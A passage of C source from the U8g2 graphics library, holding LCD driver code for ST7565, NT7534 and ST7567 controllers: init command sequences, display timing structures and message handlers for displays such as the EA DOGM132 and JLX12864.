unknown */ } } return 1; } /*================================================*/ /* ERC12864-1 alternative version, suggested in issue 790 */ static const uint8_t u8x8_d_st7565_erc12864_alt_init_seq[] = { // original sequence // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_C(0x0e2), /* soft reset */ // U8X8_C(0x0ae), /* display off */ // U8X8_C(0x040), /* set display start line to ... */ // U8X8_C(0x0a0), /* ADC set to reverse */ // U8X8_C(0x0c8), /* common output mode */ // U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ // U8X8_C(0x0a3), /* LCD bias 1/9 */ // U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ // U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature)*/ // U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ // U8X8_CA(0x081, 0x018), /* set contrast, contrast value, EA default: 0x016 */ // U8X8_C(0x0ae), /* display off */ // U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // suggested in https://github.com/olikraus/u8g2/issues/790 U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to ... */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 - *** Changed by Ismail - was 0xa3 - 1/7 bias we were getting dark pixel off */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature)*/ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x05), /* set contrast, contrast value, EA default: 0x016 - *** Changed by Ismail to 0x05 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_erc12864_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_erc12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_erc12864_alt_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* NT7534, TG12864R */ /* The NT7534 has an extended command set for the ST7565, however this is not used. */ /* The TG12864R display is also shifted in lines, like the LM6059/Adafruit display */ /* However contrast seems to be different */ static const uint8_t u8x8_d_nt7534_tg12864r_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x060), /* set display start line to ... */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ // Flipmode //U8X8_C(0x0a1), /* ADC set to reverse */ //U8X8_C(0x0c0), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on (regulator, booster and follower) */ //U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x (ST7567 feature)*/ U8X8_C(0x027), /* set V0 voltage resistor ratio to max */ U8X8_CA(0x081, 0x009), /* set contrast, contrast value, EA default: 0x016 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_nt7534_tg12864r(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: /* reuse the LM6059 data structure... this display seems to have similar shifts and offsets */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); //u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6059_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_nt7534_tg12864r_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* EA DOGM132 */ static const u8x8_display_info_t u8x8_st7565_dogm132_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 17, /* width of 16*8=136 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 132, /* pixel_height = */ 32 }; static const uint8_t u8x8_d_st7565_dogm132_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x023), /* set V0 voltage resistor ratio to large*/ U8X8_CA(0x081, 0x01f), /* set contrast, contrast value EA DOGM132 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7565_ea_dogm132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_dogm132_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_dogm132_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7567.c ================================================ /* u8x8_d_st7567.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ST7567: 65x132 controller */ #include "u8x8.h" static const uint8_t u8x8_d_st7567_132x64_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, issue 142 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_132x64_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_132x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_132x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_n_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_n_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*=====================================================*/ static const u8x8_display_info_t u8x8_st7567_132x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 17, /* width of 17*8=136 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 132, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_st7567_132x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/7 */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x026), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 0x027), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* pax instruments 132x64 display */ uint8_t u8x8_d_st7567_pi_132x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_132x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ static const u8x8_display_info_t u8x8_st7567_jlx12864_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_st7567_jlx12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/7 */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x023), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 42>>2), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* JLX12864 display */ uint8_t u8x8_d_st7567_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_jlx12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_jlx12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ /* Sinda Display (sindadisplay.com), SDGG 2232-07 */ /* Issue 1759, 122x32 display, https://github.com/olikraus/u8g2/files/7894362/SDGG12232-07.pdf */ /* copied from jlx12864 */ static const uint8_t u8x8_d_st7567_122x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x040+32), /* set display start line to 32 */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7567_122x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x040+0), /* set display start line to 0 */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7567_122x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 122, /* pixel_height = */ 32 }; static const uint8_t u8x8_st7567_122x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040+32), /* set display start line to 32 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ /* I think datasheet of the 122x32 display suggest to use 0x0a2 instead of 0xa3 here */ U8X8_C(0x0a2), /* LCD bias 1/6 @1/33 duty */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x023), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 42>>2), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* 122x32 display, issue 1759 */ uint8_t u8x8_d_st7567_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_122x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_122x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_122x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_122x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ static const u8x8_display_info_t u8x8_st7567_enh_dg128064_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const u8x8_display_info_t u8x8_st7567_enh_dg128064i_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_st7567_enh_dg128064_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x023), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 200>>2), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* ENH-DG128064 transparent display */ static uint8_t u8x8_d_st7567_enh_dg128064_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_enh_dg128064_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; #ifdef 